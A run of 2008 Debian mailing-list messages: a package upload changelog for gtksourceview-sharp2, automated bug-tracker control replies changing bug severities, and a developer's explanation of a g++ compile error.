-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.8 Date: Wed, 30 Apr 2008 20:21:06 +0200 Source: gtksourceview-sharp2 Binary: libgtksourceview2.0-cil monodoc-gtksourceview2.0-manual Architecture: source all Version: 0.12-1 Distribution: unstable Urgency: low Maintainer: Debian CLI Libraries Team [EMAIL PROTECTED] Changed-By: Mirco Bauer [EMAIL PROTECTED] Description: libgtksourceview2.0-cil - CLI binding for the gtksourceview library monodoc-gtksourceview2.0-manual - compiled XML documentation for GtkSourceView#2 Closes: 449804 470324 Changes: gtksourceview-sharp2 (0.12-1) unstable; urgency=low . * The get sexy and ready for lenny release * New upstream release. + Fixes FTBFS. (Closes: #470324) * debian/control: + Changed Maintainer to Debian CLI Libraries Team. + Bumped Standards-Version to 3.7.3 (no changes needed). + Updated cli-common-dev build-dependency to = 0.5.4 (needed for dh_clistrip). * debian/watch: + Updated (Closes: #449804) * debian/rules: + Bumped clilibs to 0.12 + Don't generate clilibs with incompatible next version anymore with
Processed: found 400066 in lcdproc/0.5.2-1
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.23 found 400066 lcdproc/0.5.2-1 Bug#400066: lcdproc_0.5.1-2(powerpc/unstable): FTBFS: impossible constraint in asm Bug marked as found in version lcdproc/0.5.2-1 and reopened. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#478734: g++-4.2: refuses to compile valid C++ syntax
severity 478734 normal thanks On Wed, Apr 30, 2008 at 11:55:19AM -0500, Jason Kraftcheck wrote: Severity: grave This is not grave, g++ is perfectly usable for other code. I emmits the following error message: bug.cc: In function 'int main()': bug.cc:6: error: no matching function for call to 'std::vectorint, std::allocatorint ::swap(std::vectorint, std::allocatorint )' /usr/include/c++/4.2/bits/stl_vector.h:728: note: candidates are: void std::vector_Tp, _Alloc::swap(std::vector_Tp, _Alloc) [with _Tp = int, _Alloc = std::allocatorint] I'm pretty sure GCC is correct to refuse this. The result of a cast is an rvalue, so you can not take a reference to it. -- Daniel Jacobowitz CodeSourcery -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: Re: Bug#478734: g++-4.2: refuses to compile valid C++ syntax
Processing commands for [EMAIL PROTECTED]: severity 478734 normal Bug#478734: g++-4.2: refuses to compile valid C++ syntax Severity set to `normal' from `grave' thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: severity of 451579 is grave
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.26 severity 451579 grave Bug#451579: cpad-kernel-source 0.10-5 module will not install Severity set to `grave' from `normal' End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: severity of 451579 is normal
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.23 severity 451579 normal Bug#451579: cpad-kernel-source 0.10-5 module will not install Severity set to `normal' from `grave' End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]